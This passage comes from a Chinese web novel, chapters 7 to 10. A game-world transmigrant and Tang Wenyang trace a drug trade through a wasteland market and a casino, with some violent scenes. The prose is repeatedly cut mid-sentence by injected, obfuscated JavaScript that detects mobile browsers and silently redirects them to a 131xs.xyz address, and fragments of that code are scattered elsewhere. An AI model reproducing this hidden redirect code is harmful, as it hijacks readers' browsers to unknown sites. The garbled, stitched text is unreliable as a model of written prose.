“她不记得了。”唐问旸这么说着，将视线从乔梁身上挪开，看向宋年，“你应该早就发现了吧？她记忆不全。” 他就说，以宋年丧心病狂程度，不可能这么慢慢悠悠的毫无动作。 除非他早就知道着急也没用。 宋年笑了一下，没承认也没否认，“既然是你把人弄晕的，那就好好照顾吧。” 唐问旸：“……” 这狗东西还没放弃。 …… 乔梁睁开眼，看着眼前陌生的环境，有一瞬间的恍惚——但好像也不是第一次了，睁开眼不知道自己在哪里的情况。 大脑还在处理陌生的环境信息，先听见一声，“醒了？” 乔梁下意识地循着声音望过去，看见墙边站着的人。 她恍惚了一下，才确认般开口，“唐问旸？” 唐问旸：“……” 那失焦的眼神既视感过强，让他思绪都短暂地中断了一会儿，但是这句紧接着的询问却把他拽回了现实：又来了，这种仿佛在用他锚定整个世界的感觉。 想着宋年想让他试探的打算，唐问旸有点烦躁地“啧”了声。 照办是不可能照办的。 他抬眼盯过去，一字一顿地，“你知道吧？我不是你认识的那个人。” 乔梁愣了一下，昏迷前的对话重新在脑海里浮现。 刚刚清醒过来的脑子又混乱起来，但却无暇去想更多。因为那双眼睛不闪不避地落过来，视线锐利地逼视着一个答案，让人几乎被迫把注意力集中在这上面。 他眉心微微拧着。 明显地昭示着并不愉快的情绪。 生气？ 确实会生气。 纸片人也好、老公也好、喜欢的NPC也好……根本没把对方当成一个“人”来对待。 乔梁微微错开了脸，低声：“……对不起。” 完全没想到对面这反应的唐问旸：“……” 什么啊？搞得像是他在欺负人一样！ 身侧的手心握了握，他还是选择了僵着脸继续话题，“你找那个研究所，是因为平行世界？” “你怎么……”知道？！ 对了。对方连她穿越的事都清楚，知道游戏剧情更不稀奇了。 唐问旸接着：“找到它，然后呢？你想干什么？” “……回家。” 理智反应过来之前，喉咙就已经发出了声音。 乔梁自己都愣了一下。但是回过神来之后，却意识到那就是她的答案。 她抬头看过去，认真地又重复了一遍，“我想回家。” 如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498088|169980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果那所谓平行世界真的能联系到她的“家”的话。那或许并不是这个世界的反派，而是她回去的唯一希望。 唐问旸被这么盯着，不期然地想起那句“老公”。 “回家”？回哪个家？和谁的家…… 脑子里各种思绪炸成了烟花，他艰难地维持住了表面上的不动声色，“crepuscolo，黄昏，就是你说的那个药剂。” 乔梁恍然：“C药！” 她就说那个单词听起来很耳熟。 被触发关键词之后，会想起来吗？ 唐问旸心底低低啧了一声，接着，“研究所信息太模糊了，锁定范围情况太广，从C药下手更快一点，你觉得呢？” 乔梁被问得一愣，她不确定地看了眼唐问旸，“是？” 仔细回忆一下，第三基地的剧情确实是围绕C药展开的，也是因为这东西才跟反派扯上关系的。 “托你的福，上次那个差点堕化的佣兵救回来了。我从他嘴里问出点东西来，接下来要去趟附近交易所……你要一起吗？看能不能想起点什么。” 乔梁：？？！ 这是同行邀请？来自唐问旸？她听错了吧？ 而且问她“能不能想起点什么”？ 乔梁总算理智上线，她奇怪地：“你不知道吗？” 明明连平行世界和她穿越的事都知道了，不应该对剧情一清二楚吗？但是不对，唐问旸确实不知道研究所的位置。因为游戏剧情里面没有设定地图吗？ 她迟疑着，“平行世界和我……”穿越的事。 唐问旸：“咳！” 他飞快地打断话题，“关于这个，细节你可以问宋年。交易所离基地有点距离，晚上赶路不安全，会在那留宿一晚，你记得准备一下。明天早晨出发，我来接你。还有别的问题吗？” 乔梁：？ 说是“有什么别的问题”，但是唐问旸根本没等乔梁细问，就匆匆点了下头离开，仿佛有什么急事。 他走后没多一会儿，乔梁倒也确实见到了宋年。 后者轻轻颔首致意，“问旸不会照顾人，我有点不放心，就过来看看。他没吓到你吧？” 乔梁矢口否认，“当然没有。唐……他很好。” 宋年莞尔：“你喜欢就好。” 乔梁觉得这说法有点怪，但这会儿还有别的问题，就一时没放在心上。 “宋先生，你们知道‘平行世界’，能和我具体讲讲吗？” 宋年勾起那副很有欺骗性的温和笑容。 “这个啊，就说来话长了……” * 半夜。 唐问旸猝然翻起身。 他本能地捞住了一旁的唐刀，手臂下意识地做了个虚虚环抱的姿.势，手指用力到整个指甲都泛起了白色。他就这么半伏着身，大口大口地喘着气。 过了好一会儿，他才像是缓过来一点，眼神渐渐聚焦。 ……是梦啊？ 唐问旸终于回神，他手指插入发间，往后捋了把汗湿的头发。但手将要落下之际，却不自觉地碰了碰脸颊。 又是梦境，但这一次画面却很模糊。 大片大片的血色氤氲了视野，眼前的一切都摇晃出了重影。眩晕的世界里，好像有一只手轻轻碰了个他的脸，却只落下了一片濡湿的触感。 好冷啊。 怀中的暖意一点点消散，像是要把他的体温也一同带走。 7.第 7 章 第二天一早，乔梁收拾好了东西，等着据说会过来的唐问旸。 她这么坐着，脑子里忍不住回忆起昨天和宋年的对话。 按照宋年的说法，他们和青雀基地联合清剿了某个利用黑雾做人体研究的基地，在其中发现了平行世界的资料，然后才“看”见平行世界的画面。 并没有察觉到宋年刻意模糊的时间跨度，又因为原本的剧情里就有反派窥探到平行世界的说法，乔梁顺理成章地将宋年的状况也归于其中。 这么看，他们还不知道这是个“游戏”。 那所谓的打破平行世界，能窥探到她的时空吗？她真的回得去吗？ 指尖不自觉地攥紧发白，正出神间，被敲门的动静惊醒了。 思绪被打断，乔梁连忙敛下表情抬头去看，见唐问旸单手插兜站在门口。和初次见面时差不多的打扮，就是脸色似乎不太好。 他也没多说什么，只上下打量了乔梁一边，就扬了扬下巴，“走？” 乔梁点头答应。 乔梁很快就发现不是自己的错觉，唐问旸的确心情不佳。 除了最开始的那句询问外，他一路上都没再开口。虽然这人本来就是话少的性格，但沉默和沉默还是不一样的，气氛压抑得让人憋闷。 像是注意到乔梁的视线，唐问旸抬了下手，把车上的音乐打开了。 乔梁：“……” 好吧，这是拒绝交流的意思。 她依照自己多周目重复攻略的经验，努力琢磨了一下，但是仍旧没想明白这是怎么回事——果然真人比纸片人复杂多了。 路程实在太长了，同行的人又全无交流，就算车里面放的音乐是曲调都偏向激昂，乔梁仍旧是昏昏欲睡。一直到刹车之后引擎熄火，乔梁才猝然惊醒。 看着那边手忙脚乱拉安全带的女人，唐问旸默然了一会儿。 居然睡着了？ 两人才见了几面？也太没有戒心，怪不得…… 地下室的旖旎画面被骤然浮现的血色取代，唐问旸表情滞了滞，他使劲闭了下眼。 那边乔梁刚准备下车，身上突然被扔了三样东西——帽子、口罩和……枪。 她都已经拉上车门的手霎时顿住，僵硬地抬头，看向身旁的人。 唐问旸像是已经从刚才的情绪中平复下来，解释，“这里不算安全，你最好别被看见脸。” 乔梁：“……” 这是看不看得见脸的问题吗？ 她收回按在车门上的手，僵硬地碰触了枪身。 冰凉的感觉从指腹传来，她涩着声，“我不会用。” “保险。扳机。” 唐问旸抬手虚点了点，表情平静地看过来，仿佛在问还有什么别的问题。 乔梁：“……” 不，问题很大。 * 要说第三基地还多少有点正常城市的样子，那这个作为交易所的小基地完全是字面意义上的“废墟”。整个交易所都依凭着黑雾前的建筑，倾塌的墙壁旁是开门营业的小店，倒下的大楼夹角处有小贩摆摊……工业末日的破败和市井的热闹糅杂在一起，非常割裂又透着诡异的融洽。 唐问旸熟门熟路地带着乔梁进了一家店。 里面是两个店面拼在了一起，一面摆着酒柜、另一边是枪。 乔梁麻木中甚至有点习惯了。 她怀疑第三基地里面也有类似的地方，只是自己没有去过对应区域。 她很快就知道为什么唐问旸给她扔了帽子和口罩但自己却没戴了，他似乎在这里挺有名气的，才刚刚坐下没多久，就零零碎碎地有人来打招呼。而没多一会儿，有个光头的中年男人从吧台后面的小门出来，态度相当热情地招着手，大着嗓门：“问旸，你可好久没过来了。要喝点什么吗？我请。” 他这么说着，注意到一旁的乔梁，语调顿时一转，“稀奇啊，你竟然带着人来。这位是？” 唐问旸没搭话，手臂从乔梁身后绕过，按在了旁边的椅子靠背上。 有点像是揽着人，其实根本没碰到。 光头立刻很有分寸地住了口，转而说起了其他闲事。 但唐问旸显然没有和他废话的意思，他很快就收回了虚搭的手臂，并指在桌上敲了两下，直截了当地问，“听说最近这边有些交易？” 光头的话卡了壳。 他支支吾吾眼神乱飘了半天，才低声，“哥……你、您看，这又不是第三基地。” 唐问旸：“要真的在基地里面，来的就不是我了。” 雾区情况混乱，交易什么的都有，像那种能短时间提高身体素质的黑雾制剂根本禁不了。但要是完全不管，还不知道会恶化成什么样，等情况波及到第三基地再处理就晚了。所以附近的几个交易点，第三基地都有监控。但这里毕竟不是基地内部，有些事就算知道也不好直接插手，一般都是由唐问旸过来。 光头试图敷衍失败，还是老老实实说了部分情报。 接着又小声，“只是这伙人倒是没什么，就一群新来的。但是他们在西街那边行动，那块儿地盘您也知道，要是背后没有人罩着，早就什么都不剩了。” 唐问旸拧了下眉，但是很快又舒展开，对着对面，“带我去看看。” 为难的情绪不会消失，只会转移。 对面光头的表情活像是生吞了一盘子苦瓜，“我你、哥，这真的不……” 唐问旸虚握拳放在桌上，抬手之后留下了五颗灰蒙蒙的晶石。 “您跟我来！” …… 光头带着两人往外面走，但才走出去没几步，就顿住了。 他回头看了看唐问旸，又看了看乔梁，着重在那两人中间快隔了半个人空隙停留了一下，突然重重地叹了口气，“你这样带不进去人。” 唐问旸：“嗯？” 他抬手指了指乔梁，又指了指唐问旸。 紧接着，食指拇指一块儿碰了碰，“我不知道你带人进去想干什么，但你不解释身份，想凭那种关系。别的不说，起码抱着吧？” 这两人可倒好，就差把“不熟”写在脸上了。 这不是明摆着告诉人有问题吗？ 人家又不瞎。 唐问旸僵了一下，没做反应。 光头：行吧，不指望这位了。 他把目光转向乔梁，“大妹子？” 乔梁看看光头，又看看原地站着没动的唐问旸，迟疑了一下，搭上唐问旸的臂弯。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512422|169980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 唐问旸绷得更紧了，隔着衣服都能清楚的感受到旋前圆肌的收缩。 光头：“……” 你们这是打算去什么晚宴吗？ 他恨铁不成钢，“抱腰啊！身体再贴过去点……” 附近隐约的嘈杂声传来，光头这话没还说完，被唐问旸抬腿横扫，一脚踹了出去。乔梁也被他反手扣在了怀里。 刺耳的枪声仿佛就在耳边炸响，光头连滚带爬，反应迅速地给自己找了个掩体，而唐问旸也借着旁边堆着的杂物、轻巧跃上了墙头。 硝烟的气味弥漫在小巷，血腥味儿散开。 随着唐问旸在墙头站定，乔梁也总算看清了那边的情况，血泊里静静躺倒着一个看不清面貌的人。 有一伙儿人紧随其后地走到了近前。 看着地上淌出来的血，便有人出口抱怨，“什么啊？居然还没堕化？” 仍有人不死心的上前，蹲下.身去，一刀将匕首扎进心口的地方。 血是飚出来的，血泊里的人还没死。 没有主刀医生紧急厉喝的“加压”，那人只随手抹了抹脸上的血，匕首更往里面使劲搅了搅，一直把心脏搅了个稀巴烂才悻悻地收回手，口中还唏嘘着，“应该多喂点药的。” 不是第一次看见血液，也不是第一次看到尸体，但却是截然不同的场景，乔梁听见了自己呼气中带着不自抑的呜咽。 腰上的手臂环得紧了一点，耳边是低声的警告，“别过去。” 但是这边的动静还是引起了那伙人的注意，“什么人？！” 唐问旸站在墙头上，大概被居高临下俯视的滋味实在不好受，团伙里当即就有几个人目露不满，威胁性地朝着这边比划着枪口。不过里面似乎有人认出了唐问旸，小声在领头人耳边说着什么。 恰巧那边光头也“唉哟”地扶着腰站起来。 他似乎认识对面的领头人，摇摇晃晃地走过来，也半点都不在意自己年龄地叫了声“明哥”，又紧接着连声，“误会误会，都是自己人。” 对面似乎也不想起冲突，顺着梯子下了句“原来是张老板的朋友”，勉强维持了表象和气地离开了。 唐问旸这才抱着乔梁从墙头上跳下去。 虽然已经知道到绝没有可能，但等一落地，乔梁还是踉跄着蹲到了尸体旁边，做了最后检查。 唐问旸则是看向光头。 “别这么看我。”光头连连摆手，“左右都是雾核没区别，比起去野外猎取雾兽，安全区猎人更方便。这事一直都有，但这段时间堕化者多了，干这活儿的人也成了规模……你来的也没错，这药这么下去早晚得成麻烦。” 乔梁这边，因为手边没有任何工具，她只是勉强帮人整理了遗容，仪式性地闭眼默哀的时候，眼前突然闪现了一帧游戏画面。 她猝然睁眼，转头向着唐问旸，“赌场！我记得C药交易和赌场有关系。” 虽然习惯性的skip剧情，也从来不记场景名字，但是涉及到恋爱点的背景画面，她还是能想起大部分，比方说骰子扑克，金碧辉煌的大厅和堆积如山的筹码之类的。 但这话落下，唐问旸还没说什么，光头却先一步苦了脸，“姑奶奶，这话可不兴瞎说啊！” 8.第 8 章 乔梁一开始没想起来这条情报，主要是因为“赌场”这部分剧情并不在第三基地攻略线上，而是归属青雀基地。虽然攻略对象不同导致的剧情不同，但整个大背景的剧情发展应该一致，所以乔梁才能这么肯定的说出口。 唐问旸却没出声。 他看了眼后面血泊中被阖上了眼的遗体，又看了眼血泊前的女人。极度相似的画面恍惚将人拉回那个血色浸染梦境，好在有了糟心的第一个梦打底，唐问旸很快就把自己抽离出来。他略微转开视线，将目光落在一旁地上的帽子上，是刚才抱着人躲开的时候滑落的。 略微沉默了一会儿，他开口解释：“交易所算是缓冲区，赌场背后是好几个私人基地的联盟，没有合适的理由，第三基地不方便插手。” 乔梁微怔。 怪不得“赌场”剧情是在青雀线。 这么想着，却听唐问旸接着，“所以不能直接过去。” 乔梁眨了眨眼。 懂了，得换个身份。 一旁的邓陇却忍不住看了眼唐问旸：这么耐心地解释？这可一点都不像他。 他开始觉得这两个真的有什么了。 乔梁倒是没什么多余的想法。 毕竟是那么多周目的攻略对象，她还是挺了解的。唐问旸不算沉默，只是大部分时间都单独行动，用不着跟什么人解释，这才显得话少而已。 对方都这么说了，乔梁也没什么异议。她点了下头，伸手想要去捡飞到不远处的帽子，但一抬手就看见手上沾染的斑驳发暗的血渍。 乔梁动作一顿。 她刚才没戴手套，也没有手套给她戴。 一连串规范操作流程说明在脑子闪过，还不等再深想，眼前突然一暗。 那顶帽子被人捡起来扣在了头顶，帽檐向下倾斜，挡住了大半视野。 邓陇：“……” 这两人之间要是没什么，他倒立吃.屎。 被遮蔽的视野像是连思绪都限制住了，乔梁蜷了蜷手指。 干涸的血渍拉扯着表层的皮肤，像是要透过表皮渗入皮下，静静感受了一会儿这触觉，她站起身来低声，“走吧。” …… 在交易地点的是一个半大的少年，因为身高正在抽条期，整个人瘦得像是竹竿似的。 洗的发白的衣服挂在身上，他正坐在一个稍高的油桶上摇着腿，细瘦的小腿在裤管里晃荡。 乔梁正想着是误入的小孩，就见邓陇已经迈了一步上前，和对方谈起交易来了。 少年没有第一时间搭话，他灵活的眼珠在乔唐两人身上转了一圈儿又荡回来，吊儿郎当地笑，“这两位不是交易区的人吧？” 这么说着，嘴里叼着的棒棒糖塑料柄上下摇晃 邓陇一脸不耐地摆摆手，“你个小屁孩懂什么？这是大主顾，不是你能掺和的，叫你们老大来。” 少年嚼碎了糖块，把塑料柄吐在一边，人也从油桶上跳下来。 他从兜里掏出个药瓶在几人面前晃了一圈，药片撞击着塑料壁哗啦作响，他扬了扬下巴笑着，“哥你这就不知道了，我可是我们老大心腹，这一块儿的生意我们老大都交给我了。有什么，您跟我谈就行。” 邓陇：“……” 西街的小鬼头真难搞。 邓陇又跟这孩子拉扯了几句，总算让这少年点了头，但是他紧接着抬手一指，“你、还有她……你们两个可以去。” 这就是把唐问旸排除在外了。 邓陇抬头看向唐问旸。 他看出了唐问旸其实是想让乔梁进去，但不知道这结果算不算达成目的。 乔梁的视线却落在少年抬起的手腕上。 那上面戴了一串手链，廉价的塑料珠带着鲜艳的色彩，下面坠了一个小小的木雕，刻得很粗糙，乔梁看了半天都没看出来那是个鸟还是兔子。不像是这个男孩喜欢戴的，和他的那全身上下随便一穿的打扮也很不搭。 被这么看着，少年下意识缩了下手。 但他很快就回了神，非但没收回去，反而抬着手在乔梁面前晃了晃。 “姐姐喜欢这个？我可以送给你。要的也不多，给点跑腿的小费就行。”他像是要缓解紧张似的，舔了舔嘴唇，接下的语气依旧散漫，“街口有个小丫头在卖这个，但这几天一直没露面，姐姐你之前见过？” 这试探就有点明显了，乔梁立刻反应过来。 她想起来这条手链是在哪看到的了，赌场那条线的剧情。 “尤妙尤横……”她抬头看向少年，“你是尤横？” 少年脸色微变，“你怎么知……” 他焦急地往前走了几步，但刚刚走到近前，就被人一把抓住了手腕。 那点伪做出来的惊慌焦急还在脸上，却没法遮住他眼底的狠厉，他被抬高抓住的手里正握着一柄寒光凛凛的小刀。 随着唐问旸的手越收越紧，少年忍不住露出了吃疼的表情。 伴随一声骨节错位的闷响，那把小刀“咣当”一声砸到了地上。 唐问旸松了手，少年踉跄着往后退去。 他左手握着脱臼的手腕把骨头复了位，疼得整张脸都白了一层。冷汗从鼻尖渗出，他蹲在原地，整个人都蜷成了一团，哑着声哽咽着，“对不起，我……我只是太着急了。妙妙她不见了。她、她特别乖！从来都不乱走。但是前几天突然就不见了……” 他一边小声啜泣着，一边抬眼看向乔梁。 口罩和帽子几乎遮挡了全部的表情，对方确确实实站在原地纹丝不动。 他心底无声地“啧”了一下，但是脸上的表情越发可怜，“求求你了，姐姐、……救救她，你们是好人，我能看出来，你们都是好人。妙妙一定是被他们抓走了，求你们救救她……” 刀擦着他往前伸的手扎到了地缝里，皮肤被划开一道血口子，血沿着刀刃渗到地下。 尤横吃疼收回了手，这次总算不敢乱动了。 唐问旸往前迈了一步，前倾着身，“我问。你说。” 软的硬的都没有效果，少年这次总算老实了。 他抬手抹了把脸，瞥了眼那寒光凛凛的刀刃，涩着声应了声“好”。 邓陇抬眼瞥了眼从头到尾都没做反应的乔梁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522465|169980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没看出来啊，小姑娘还挺端得住的。 注意到这眼神的乔梁：“……” 那必然是已经在游戏里吃过教训。 能让一个专心恋爱的玩家记住的剧情NPC，肯定有他的过人之处。这小孩对妹妹的感情倒是真的，但是除此之外一句都不能信——来自差点被临时反水坑死的玩家血泪经历。 唐问旸问话简明扼要。大概也看出没什么挣扎余地了，尤横交代得很痛快。 西街最近一段时间陆陆续续地失踪了不少小孩，这地方死个人不稀奇，没自保能力的小孩子就更是了，一开始没有引起什么注意，其实到现在也没多少人注意到。但尤横毕竟是在这片街区混大的，对这里的风吹草动更加警觉。 “我那会儿就觉得不对劲了。井边那片儿区一下子空了，街口也是。平常外人过来，一帮孩子过去当向导，这会儿一个都没了，连拉绳要过路费的都少了，肯定出事了。” “……” “我跟妙妙说这段时间先别摆摊了，妙妙也答应了。但是那天摆摊的东西都收拾好了，我就没拦着……” “……她没回来。” 他刚才假哭的时候情绪十分丰富，但说起真事来，表情反而稀薄起来，整张脸上都呈现了一种麻木的冷漠。 不过那点冰冷只显露了一瞬，他很快就调动了脸上的肌肉，表情重又生动起来。 于是那张犹带稚气的脸又显出了勾惹人同情心的可怜。 他先是看向乔梁，但因为帽子口罩的缘故，实在看不出什么来。只能顿了顿，将目光转向唐问旸，“这种事，你们不会不管吧？” 不等唐问旸回答，他已经飞快接上，“我这几天一直在打听消息。他们抓了人，肯定是得把人送出去。我去几个出入口都看过了，不是陆路，这个交易区只有一个码头，码头旁边是仓库……” 他说着，抬头看了唐问旸一眼。 后者表情像是无动于衷。 尤横：“……” 他使劲咬了咬牙，“我去看过了，第7号仓库，它里面‘货物’肯定有问题。有两队守卫、轮流换班，全都是污染程度很高的污染者。我买通了外围的看守，晚上可以偷偷进去，他们大概十点左右换班，晚上的守卫人少，就两个。你帮我把那两个人引开，五分钟！只要五分钟！……我手里的C药可以全给你，你想见我们老大、老大的上线，我都能帮你引荐，我当你的保证人。” …… 和尤横谈完条件，三人从那条街道走了出来。 邓陇长出口气，转头对唐问旸，“刚才那小鬼的话，你信多少？” 他从头到尾都抱着怀疑态度。 西街出来的小鬼，嘴里一个字都不能信。 唐问旸却摇了摇头。 重点不在这儿。不管是真的还是假的，对方确实想让他引开仓库旁边的守卫，但是能花这么大手笔布置守卫的，整个交易区都数不出来几个。 唐问旸转头看向乔梁，“分开？” 乔梁点头，“我去赌场。” 邓陇：？？？ 等等，你俩是怎么接上话的？ 9.第 9 章 金属的构件反射着冰凉的灯光，唐问旸正一个个检查过零件，再把它重新组装成枪支。 他很少用枪，但免得增加辨识度，今晚最好别用刀。 零件拿起来再放在桌上发出“啪嗒”的响声，和侧面的门锁被人拧开的声音混合在一起。唐问旸手上的动作没停，转头看过去一眼。 邓陇正站在门口。 他换了身衣服，一身结实的肌肉把西装撑得板板正正的，虽然还是光头，但看上去居然人模人样的。 只是他这会儿表情忸怩、语气为难，“真叫我带人去啊？” 唐问旸不解：“你有别的事？” 乔梁第一次来交易所，虽说是分头行动，唐问旸倒不至于让人单独去赌场。这地方龙蛇混杂，邓陇难得人品还行。 “不是我有没有事，我是说你。你就不介意？”邓陇这么说着，轻咳了一声，又抬手整了整领结，“咱就是说，这么拾掇一下，咱也是个周正人。” 他就不怕女朋友被拐跑了？ 唐问旸：“……” 他转头瞥了人一眼，两秒后，收回视线。 邓陇：“……什么意思？你给我说清楚，你这是什么意思？！！” …… 吵吵归吵吵，唐问旸最后还是解释了句，“我和她不是你想的那种关系。” 邓陇半个字都不信。 “你当我瞎呢。”他翻了个白眼，“没什么关系，你抱得那么顺手？” 他这么说着，忍不住揉了一下自己的腰。 这臭小子下脚可一点都没留情，那一下踹得结结实实的，他差点没爬起来。 唐问旸却是一愣。 在被点出来之前，他完全没意识到这点。 他低头看了一下自己的手。 ……那些梦，还是被影响了吗？ 将最后一个零件卡入位置，唐问旸抬起了手臂，枪口对准靶心。 邓陇还准备接着说呢，就听“砰”的一道枪声在房间内炸开，他龇牙咧嘴地捂了捂耳朵：这小子也不打声招呼。 再往前一看。 ——嚯！ 他嗤地一下笑出声，“你这准头可够偏的啊！” 唐问旸面无表情看过去一眼，邓陇高举双手做投降状，“好好好，你慢慢练，别等晚上，一开枪打人腚上……” 邓陇嬉皮笑脸地出了射击室，表情却转而若有所思。 想在交易所呆得久，最好得有个后台。西街那些称兄道弟的靠不住，真想攀上他们背后势力，少不了被扒层皮去，反而是第三基地更靠谱点。邓陇和唐问旸打了这么久交道，多少有借势的意思，唐问旸对此心知肚明，只要不过分，多数时候都睁只眼闭只眼。 但生意人嘛，谁也不嫌关系多。 那妹子一看就不是交易区的人，能让唐问旸破例亲自跟着……不是因为“私人关系”？她在第三基地应该地位不低？ 邓陇琢磨了一下唐问旸的态度。 ——五五开吧。 啧，嘴巴够严的。 * 赌场其实并不在交易所内，需要驱车走出去一段不远的距离。 交易所的主体是依凭着某个黑雾前的郊区建的，而他们这会儿正驶向“市中心”。 宽阔的大路上只有零星的几辆车驶过，空旷荒凉得仿佛某个边缘区域高速，道路两旁完全废弃了，久无人居住的建筑露出颓败的轮廓，在一点点暗下的天色里，仿佛“误入鬼城”的先导片。 但再一个转角之后，眼前的一切豁然开朗。 高.耸的大楼直直竖立，早早亮起的霓虹灯勾勒出建筑的轮廓，玻璃幕墙上的各色光线流淌，连后方那条宽阔的河流都映上了粼粼波光，像是一下子把人拽回到繁华都市。 前后反转太大，让人忍不住再三抬眼确认。 邓陇显然误会了乔梁视线的意思，他抬手指了指后面那条河，解释，“码头在另一边，问旸他们应该已经出发了。” 乔梁“嗯”了声。 她其实不怎么担心另一边。唐问旸的战斗力可是官方盖章认证过的，不至于连剧情里没出现名字的NPC都解决不了。 两人下了车走近，更多的细节在眼前放大。 大理石地面锃光瓦亮，水晶吊灯的光通过旋转门洒出，金钱的气息充斥了每个角落，恨不得飘出来的一点粉末都是金粉。当然，门口站了两排全副武装安保，让人不敢妄动。 乔梁没想到，自己居然会在这种类末日背景的废土世界体验一把纸醉金迷。 这么想想，第三基地其实还挺好的，有种让人安心的朴素感。 她心情复杂地跟着邓陇进去。 里面的装修依旧奢华，香气和烟雾交织、嘈杂的旋律中夹杂着骰子和轮盘的声音，视觉听觉嗅觉，各种感官一下子被占了满，大脑都点带宽过载的接收不畅。 邓陇其实不确定乔梁要来干什么，不过他在这上面一向很有分寸，丝毫没有多问的意思，只是引着人在里面转了一圈，就停在了旁边的休息区。 “要玩两把吗？” 乔梁一时没能答话。 她正努力排除外部干扰，把看到的内容和游戏背景贴图映照，不由自主地将目光投向了二楼区域。 邓陇：“……” 他不得不开口提醒，“楼上有筹码准入的标准，咱们可能去不了。” 而且筹码是一方面，身份又是另一方面了。 生面孔恐怕一上去就被人盯住了。 虽然这么说着，邓陇还是尽职尽责地带着乔梁在下面转了一圈，找了一个能看见二楼情况的视野，问：“这样行吗？” 乔梁点头：“可以。” 再行不过了，因为她看见了二楼的一个人。 青年手肘靠后撑在栏杆上，另一只手夹着烟，纯黑色的衬衫上面解开了好几颗扣子，同色的领结松垮垮地系着，露出了大片的锁骨。 他唇角挂着似有若无的笑，身周淡淡的烟气缭绕，整个人都显得散漫又慵懒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15534608|169980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但与之相对的，他旁边的两拨人似乎在争论什么，气氛紧张。 青年显然是谈判一方的领导者，但是本人似乎不在意这场谈话，一副游离在外的模样，只是偶尔漫不经心地开口一两句，于是本来稍稍缓和的气氛一下子又被上了满弦。 虽然这么一副散漫的样子，但人却很敏锐，几乎乔梁的目光一落过来，他的视线就直直地扎了过来。 四目相对，青年明显愣了一下。 ——韩青却。 青雀基地的基地长，也是那条攻略线的主要被攻略人物。 乔梁对着上面笑了下，韩青却怔了片刻，很快就饶有兴趣地扬了下眉。 他转身对身边的人交代了两句什么，然后就抛下那边明显还在拉锯中的谈话，带着两个跟随的保镖下了楼。 乔梁心底道了一句“果然”，然后转头对邓陇，“我们应该有办法上去了。” 邓陇：？ “什么办法？” 乔梁冲着正下楼的人扬了扬下巴。 韩青却这条线，可以简单概括为“从身体到精神”。虽然这位情话技能满点，说起第一次见面的时候，永远是一副“命中注定”“一见钟情”的浪漫语气，但这也不能改变对方第一眼上头，完全是“馋身子”的事实。 乔梁倒不反对。 毕竟都是成年人了，就该谈点“成年人该有的恋爱”……这条攻略线简直香哭了！！ 然而太香了也有问题。 过于专注香喷喷的饭，就会陷入对剧情线选择性失忆的窘境。 这点交流间，韩青却已经下了楼，他目标明确地往乔梁方向走过来。 这位从二楼下来的大佬一下子吸引了不少人的目光，邓陇也注意到了。 他一时也顾不得追问乔梁上二楼的办法了，小声嘀咕了句“青雀的基地长？”，就打算带着乔梁先一步避开。 却不防备身后的人主动往前踏出去一步。 邓陇还愣着，就见那一行人在乔梁身前停.下了脚步。 这么匆匆忙忙下来，韩青却也冷静了点。 他看了看眼前这位女士，又瞥了眼对方身边明显同来的男伴，决定还是表现得有风度一点。 “这位小姐……” 乔梁干脆利落地打断，“我想去二楼。” 韩青却愣了下，脸上的笑容一下子拉开。 他躬身做了个邀请的姿.势，莞尔着轻声，“我的荣幸。” 这下子真就完全无视了旁边的邓陇。 邓陇还不明所以，刚准备开口插话，就被两个保镖结结实实地挡住了。 对面的表情客气中又带着点不易察觉的怜悯，“先生请跟我来。” …… 几分钟后，邓陇看着前面不远处相谈甚欢一对的男女。 再看看被保镖挡着拉开距离，甚至因为服装和发型的缘故，有点无缝融入其中的自己。 邓陇：“……” 就该让唐问旸自己来试试！！ 10.第 10 章 韩青却带着乔梁停在一张牌桌前。 几乎是他刚刚过来，桌前的几人就不约而同地停下了游戏，转而来打招呼，连荷官都停.下了发牌的动作，微微颔首致意。 韩青却的回应很随意。 他对几人比了个放松的手势，又转过头来对乔梁，“21点，要玩吗？筹码算我的。” 听他这么说，立刻就有人让开了位置，殷勤地招呼着，“今天这边手气好，韩先生来我这儿吧，肯定让这位美女玩得舒心。” 